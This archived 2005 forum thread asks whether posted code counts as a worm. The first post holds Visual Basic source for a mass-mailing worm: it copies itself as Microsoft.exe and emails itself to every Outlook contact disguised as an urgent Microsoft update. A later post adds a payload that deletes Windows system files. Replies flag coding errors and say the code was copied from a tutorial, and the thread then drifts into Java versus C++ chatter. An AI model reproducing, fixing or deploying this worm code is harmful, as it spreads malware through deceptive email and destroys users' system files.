About
Community
Bad Ideas
Drugs
Ego
Erotica
Fringe
Society
Technology
register | bbs | search | rss | faq | about
meet up | add to del.icio.us | digg it
Go Back   Community > Technology > Network (in)Security
FAQ Members List Calendar Search Today's Posts Mark Forums Read

Network (in)Security Interesting hacks and cracks. Info on firewalls, TCP/IP, encryption, networks, and security. The ins and outs of the phone system, caller services, how things work, what's illegal and what's not, cellular phones, beepers, telephony legislation, the PUC, ISDN, taps, who's listening, and switches. Talking about phones, hacking systems, technical advice, and such is completely LEGAL in the United States -- it's covered by the First Amendment. What's illegal is conspiracy to commit a crime. So if you say something like "Meet me at 2am so we can crack a can" or "I changed my cell phone's number myself" you are criminally liable. Stating "You can crack a can by doing thus-and-so" or "If you wanted to change a cell phone's number, you could do it like so" is perfectly OK. Posting passwords, calling card numbers, or credit card numbers is forbidden on this network. Posting such info will get you booted off the net.

Reply
 
Thread Tools Display Modes
 #1 
Old 2005-01-05, 03:47
KOALAZ KOALAZ is offline
Regular
 
Default Would this be considered a worm?

Private Sub Form_Load()

Me.Hide

Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Microsoft.exe"

Set so = CreateObject(fso)

Set ol = CreateObject("Outlook.Application")

Set out = Wscript.CreateObject("Outlook.Application")

Set mapi = out.GetNameSpace("MAPI")

Set a = mapi.AddressLists(1)

For X = 1 To a.AddressEntries.Count

Set Mail = ol.CreateItem(0)

Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)

Mail.Subject = "Microsoft update PLEASE OPEN ATTACHMENT"

Mail.Body = "Microsoft Update VERRY IMPORTANT UPDATE!!!!. Just open the attachment and you can install the update."

Mail.Attachments.Add = "C:\Microsoft.exe"

Mail.Send

Next

ol.Quit

End Sub
 #2 
Old 2005-01-05, 03:50
KOALAZ KOALAZ is offline
Regular
 
Default Re: Would this be considered a worm?

Remember this is not to be used and if you do use it I take no responsibility.
 #3 
Old 2005-01-05, 04:10
Moderator
 
Tokyo, 日本
Default Re: Would this be considered a worm?

Technically, yes. This is a worm.

Officially, yes. This is absolutely dense.
 #4 
Old 2005-01-05, 04:18
KOALAZ KOALAZ is offline
Regular
 
Default Re: Would this be considered a worm?

Ok.
 #5 
Old 2005-01-05, 08:35
ICEMAN1968 ICEMAN1968 is offline
Regular
 
Default Re: Would this be considered a worm?

Hey man,

Where'd you learn to do that?

Got a messenger? I'd like to chat.

Later
 #6 
Old 2005-01-05, 16:54
KOALAZ KOALAZ is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by ICEMAN1968:

Hey man,

Where'd you learn to do that?

Got a messenger? I'd like to chat.

Later

Ya koalaz2004 (aim)



[This message has been edited by KOALAZ (edited 01-05-2005).]
 #7 
Old 2005-01-05, 17:03
KOALAZ KOALAZ is offline
Regular
 
Default Re: Would this be considered a worm?

Now you see how in the code there is a Microsoft.exe what if i put this code in the Microsoft.exe

Private Sub Form_Load()

Kill C:\windows\explorer.exe

Kill C:\windows\win.ini”

Kill C:\windows\system.ini”

End Sub

Would this still be a worm or would it be a virus?
 #8 
Old 2005-01-05, 17:17
Moderator
 
Tokyo, 日本
Default Re: Would this be considered a worm?

quote:Originally posted by KOALAZ:

Kill C:\windows\explorer.exe



Access denied: Sharing violation

quote:

Kill C:\windows\win.ini”

Kill C:\windows\system.ini”



Well, first of all, you missed quotes on all three of the strings. Second of all, no. This just classifies the program as (poorly designed) malicious code.
 #9 
Old 2005-01-06, 11:02
F1 F1 is offline
Regular
 
Default Re: Would this be considered a worm?

Bullshit,

he didn't write that, he got it from Astalavistas archives. I got exacly the same file like 2 years ago. The guy wrote a tutorial an he called the worm Noobie something. He just changed the body.

http://www.astalavista.com//data/worm_writting.txt
 #10 
Old 2005-01-06, 12:52
Regular
 
Sierra Vista, Arizona
Default Re: Would this be considered a worm?

Damn F1 your right this guy is a fucking tard.
 #11 
Old 2005-01-09, 10:58
dizeerascal dizeerascal is offline
Regular
 
Default Re: Would this be considered a worm?

And pluz it would all be detected now one as a Bloodhoound n other for the email fing
 #12 
Old 2005-01-09, 16:15
Geeksta Geeksta is offline
Regular
 
Default Re: Would this be considered a worm?

Thats all from Astalavista. If your going to post it hear don't claim it as if wrote it.
 #13 
Old 2005-01-09, 16:58
b b is offline
Regular
 
Default Re: Would this be considered a worm?

fuking n00b.

bet you can't even tell what language this is written in

code:<pre>

String nt = System.getProperty("user.name");

InetAddress thisIp = null;

String host = null;

try {

thisIp = InetAddress.getLocalHost();

host = InetAddress.getLocalHost().getHostName();

}

catch (Exception e_1) {}

String ip = thisIp.getHostAddress();

String comp_info = "User: " + nt + " on " + host + " using IP: " + ip;

</pre>
 #14 
Old 2005-01-09, 20:28
Geeksta Geeksta is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by b:

fuking n00b.

bet you can't even tell what language this is written in

code:<pre>

String nt = System.getProperty("user.name");

InetAddress thisIp = null;

String host = null;

try {

thisIp = InetAddress.getLocalHost();

host = InetAddress.getLocalHost().getHostName();

}

catch (Exception e_1) {}

String ip = thisIp.getHostAddress();

String comp_info = "User: " + nt + " on " + host + " using IP: " + ip;

</pre>



That would be ethier C or C++
 #15 
Old 2005-01-09, 20:30
b b is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by Geeksta:



That would be ethier C or C++

lol, you are a fucking noob
 #16 
Old 2005-01-09, 20:43
cense cense is offline
Regular
 
Default Re: Would this be considered a worm?

Looks like Java.
 #17 
Old 2005-01-09, 20:46
b b is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by cense:

Looks like Java.



good man, i really didn't think it was too hard for anyone to tell. it was really meant to be a joke, but obvisously some people dont know shit.

i never knew c++ had try/catch blocks, haha
 #18 
Old 2005-01-09, 21:05
Geeksta Geeksta is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by b:

lol, you are a fucking noob

Currently its my first year of highschool, I'm taking VB, my first computer course ever.

I never had experience with java (I will next year though) and i know very little about C++, only that there is semicolons after ever line of code. thats why i though it was C++ with all the semicolons and shit. I feel stupid. But there is no need to call me a fucking noob.
 #19 
Old 2005-01-09, 21:08
Moderator
 
Tokyo, &#26085;&#26412;
Default Re: Would this be considered a worm?

quote:Originally posted by b:

i never knew c++ had try/catch blocks, haha

Yeah... it does.
 #20 
Old 2005-01-09, 21:15
b b is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by Trueborn Vorpal:

Yeah... it does.



holy shit you are right... http://www.cplusplus.com/doc/tutorial/tut5-3.html

but won't the code in c++ compile anyway if it doesn't have a try/catch block. if you try that in java it'll be like there is an error in the code.

and i think java is more known for having try/catch than c++.

[This message has been edited by b (edited 01-09-2005).]
 #21 
Old 2005-01-09, 21:19
Geeksta Geeksta is offline
Regular
 
Default Re: Would this be considered a worm?

Java seems easyier then C++.
 #22 
Old 2005-01-09, 21:26
b b is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by Geeksta:

Java seems easyier then C++.



IMO, I think java is easier to learn than C++. But once you have acquired enough knowledge about OOP, any other language that is similar is easy to learn.

c++ is a good starting language to learn. from that you can branch off to java, or back to c.
 #23 
Old 2005-01-09, 21:40
Geeksta Geeksta is offline
Regular
 
Default Re: Would this be considered a worm?

quote:Originally posted by b:



IMO, I think java is easier to learn than C++. But once you have acquired enough knowledge about OOP, any other language that is similar is easy to learn.

c++ is a good starting language to learn. from that you can branch off to java, or back to c.

Thank you for the advice.
 
To the best of our knowledge, the text on this page may be freely reproduced and distributed.
 

totse.com certificate signatures
 
 
About | Community | Bad Ideas | Drugs | Ego | Erotica | Fringe | Society | Technology
Hot Topics